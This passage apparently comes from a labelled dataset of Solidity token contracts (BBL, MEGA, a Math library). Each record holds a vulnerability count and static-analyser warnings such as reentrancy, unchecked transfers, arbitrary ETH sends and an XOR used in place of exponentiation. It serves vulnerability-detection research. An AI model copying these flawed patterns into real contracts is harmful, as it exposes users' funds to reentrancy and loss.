address(0) && amount > 0,\n \"Transfer must not be from/to zero address and the amount must be greater than zero\"\n );\n\n bool excluded = excludedFromLimits[from] || excludedFromLimits[to];\n\n require(\n uniswapLiquidityPair != address(0) || excluded,\n \"Liquidity pair not yet created\"\n );\n\n bool sellTransaction = to == uniswapLiquidityPair;\n\n bool buyTransaction = from == uniswapLiquidityPair;\n\n if (!sellTransaction && !buyTransaction && !excluded) {\n require(\n balanceOf(to) + amount <= 1393813939 * 1e18,\n \"One cannot transfer tokens between wallets to circumvent the initial wallet size limit\"\n );\n }\n\n if (buyTransaction && !excluded) {\n require(\n balanceOf(to) + amount <= walletSizeLimit ||\n to == address(uniswap),\n \"Limit for maximum wallet size exceeded\"\n );\n\n if (buyTransactionCount <= _feeDecreaseThreshold)\n buyTransactionCount++;\n\n if (buyTransactionCount == _feeDecreaseThreshold) {\n initialBuyFeePercent = _feePercentOnBuys;\n\n initialSellFeePercent = _feePercentOnSells;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n sellTransaction &&\n !inSwap &&\n contractTokenBalance >= minContractTokenSwap &&\n !excluded &&\n buyTransactionCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) sellTransactionCount = 0;\n\n require(\n sellTransactionCount < 1,\n \"One contract token swap per block at maximum\"\n );\n\n inSwap = true;\n\n\t\t\t// reentrancy-events | ID: e0c1865\n\t\t\t// reentrancy-no-eth | ID: d155384\n\t\t\t// reentrancy-eth | ID: dcf783a\n _tokenToETHSwap(\n _min(amount, _min(contractTokenBalance, maxContractTokenSwap))\n );\n\n\t\t\t// reentrancy-no-eth | ID: d155384\n inSwap = false;\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: e0c1865\n\t\t\t// reentrancy-eth | ID: dcf783a\n if (contractETHBalance > 0) _sendETHToFeeWallet(contractETHBalance);\n\n\t\t\t// reentrancy-eth | ID: dcf783a\n sellTransactionCount++;\n\n\t\t\t// reentrancy-eth | ID: dcf783a\n _lastSellBlock = uint32(block.number);\n }\n\n uint8 fee = buyTransaction\n ? initialBuyFeePercent\n : initialSellFeePercent;\n\n if (\n fee > 0 &&\n !excluded &&\n !inSwap &&\n (buyTransaction || sellTransaction)\n ) {\n uint256 fees = (amount * fee) / 100;\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: e0c1865\n\t\t\t\t// reentrancy-eth | ID: dcf783a\n super._transfer(from, address(this), fees);\n\n amount -= fees;\n }\n }\n\n\t\t// reentrancy-events | ID: e0c1865\n\t\t// reentrancy-eth | ID: dcf783a\n super._transfer(from, to, amount);\n }\n\n function _min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenToETHSwap(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswap.WETH();\n\n _setAllowance(address(this), address(uniswap), tokenAmount);\n\n\t\t// reentrancy-events | ID: e0c1865\n\t\t// reentrancy-no-eth | ID: d155384\n\t\t// reentrancy-eth | ID: dcf783a\n uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function _sendETHToFeeWallet(uint256 amount) private {\n\t\t// reentrancy-events | ID: e0c1865\n\t\t// reentrancy-eth | ID: dcf783a\n payable(feeWallet).transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n walletSizeLimit = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 085770a): BBL.updateStructure(uint256,uint256) should emit an event for maxContractTokenSwap = maxAmount minContractTokenSwap = minAmount \n\t// Recommendation for 085770a: Emit an event for critical parameter changes.\n function updateStructure(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 085770a\n maxContractTokenSwap = maxAmount;\n\n\t\t// events-maths | ID: 085770a\n minContractTokenSwap = minAmount;\n }\n\n function sweepStuckETH() external onlyOwner {\n payable(feeWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fc37b45): BBL.transferStuckToken(IERC20) ignores return value by token.transfer(feeWallet,token.balanceOf(address(this)))\n\t// Recommendation for fc37b45: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckToken(IERC20 token) external onlyOwner {\n\t\t// unchecked-transfer | ID: fc37b45\n token.transfer(feeWallet, token.balanceOf(address(this)));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 332b8d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 332b8d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ee2d99a): BBL.startTrading() ignores return value by uniswap.addLiquidityETH{value 1000000000000000000}(address(this),52268022726000000000000000000,0,0,msg.sender,block.timestamp)\n\t// Recommendation for ee2d99a: Ensure that all the return values of the function calls are used.\n function startTrading() external payable onlyOwner {\n super._transfer(msg.sender, address(this), totalSupply());\n\n\t\t// reentrancy-benign | ID: 332b8d7\n\t\t// unused-return | ID: ee2d99a\n uniswap.addLiquidityETH{value: 1 ether}(\n address(this),\n 52268022726 ether,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 332b8d7\n uniswapLiquidityPair = IUniswapV2Factory(uniswap.factory()).getPair(\n address(this),\n uniswap.WETH()\n );\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10690.sol",
"size_bytes": 18378,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MEGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 041cdac): MEGA._taxWallet should be immutable \n\t// Recommendation for 041cdac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f26ed85): MEGA._initialBuyTax should be constant \n\t// Recommendation for f26ed85: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88cbfb7): MEGA._initialSellTax should be constant \n\t// Recommendation for 88cbfb7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a74ba12): MEGA._reduceBuyTaxAt should be constant \n\t// Recommendation for a74ba12: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02d1348): MEGA._reduceSellTaxAt should be constant \n\t// Recommendation for 02d1348: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02f6ae5): MEGA._preventSwapBefore should be constant \n\t// Recommendation for 02f6ae5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make Ethereum Great Again\";\n\n string private constant _symbol = unicode\"MEGA\";\n\n uint256 public _maxTxAmount = 3000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a941d49): MEGA._taxSwapThreshold should be constant \n\t// Recommendation for a941d49: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c99da75): MEGA._maxTaxSwap should be constant \n\t// Recommendation for c99da75: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e22b8fe): MEGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e22b8fe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b3386c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b3386c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a864ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a864ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3b3386c\n\t\t// reentrancy-benign | ID: 4a864ec\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3b3386c\n\t\t// reentrancy-benign | ID: 4a864ec\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 52c9cb3): MEGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 52c9cb3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4a864ec\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3b3386c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0542d64): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0542d64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ecf5353): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ecf5353: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0542d64\n\t\t\t\t// reentrancy-eth | ID: ecf5353\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0542d64\n\t\t\t\t\t// reentrancy-eth | ID: ecf5353\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ecf5353\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ecf5353\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ecf5353\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0542d64\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ecf5353\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ecf5353\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0542d64\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0542d64\n\t\t// reentrancy-events | ID: 3b3386c\n\t\t// reentrancy-benign | ID: 4a864ec\n\t\t// reentrancy-eth | ID: ecf5353\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8e4221b): MEGA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8e4221b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0542d64\n\t\t// reentrancy-events | ID: 3b3386c\n\t\t// reentrancy-eth | ID: ecf5353\n\t\t// arbitrary-send-eth | ID: 8e4221b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 198b440): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 198b440: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 31cd1a6): MEGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 31cd1a6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8a4b87c): MEGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8a4b87c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 550bb99): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 550bb99: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 198b440\n\t\t// reentrancy-eth | ID: 550bb99\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 198b440\n\t\t// unused-return | ID: 31cd1a6\n\t\t// reentrancy-eth | ID: 550bb99\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 198b440\n\t\t// unused-return | ID: 8a4b87c\n\t\t// reentrancy-eth | ID: 550bb99\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 198b440\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 550bb99\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10691.sol",
"size_bytes": 19481,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: AGPL-v3.0\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8e88d84): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 8e88d84: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: faf188b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for faf188b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d2a1d98): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for d2a1d98: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 09d75f0): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 09d75f0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9300640): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 9300640: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2d3ecf0): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2d3ecf0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25003ed): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 25003ed: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1997823): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 1997823: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: a76ba94): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for a76ba94: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 8e88d84\n\t\t\t\t// divide-before-multiply | ID: d2a1d98\n\t\t\t\t// divide-before-multiply | ID: 09d75f0\n\t\t\t\t// divide-before-multiply | ID: 9300640\n\t\t\t\t// divide-before-multiply | ID: 2d3ecf0\n\t\t\t\t// divide-before-multiply | ID: 25003ed\n\t\t\t\t// divide-before-multiply | ID: 1997823\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: faf188b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 25003ed\n\t\t\t// incorrect-exp | ID: a76ba94\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 9300640\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 8e88d84\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 1997823\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 09d75f0\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: d2a1d98\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2d3ecf0\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: faf188b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 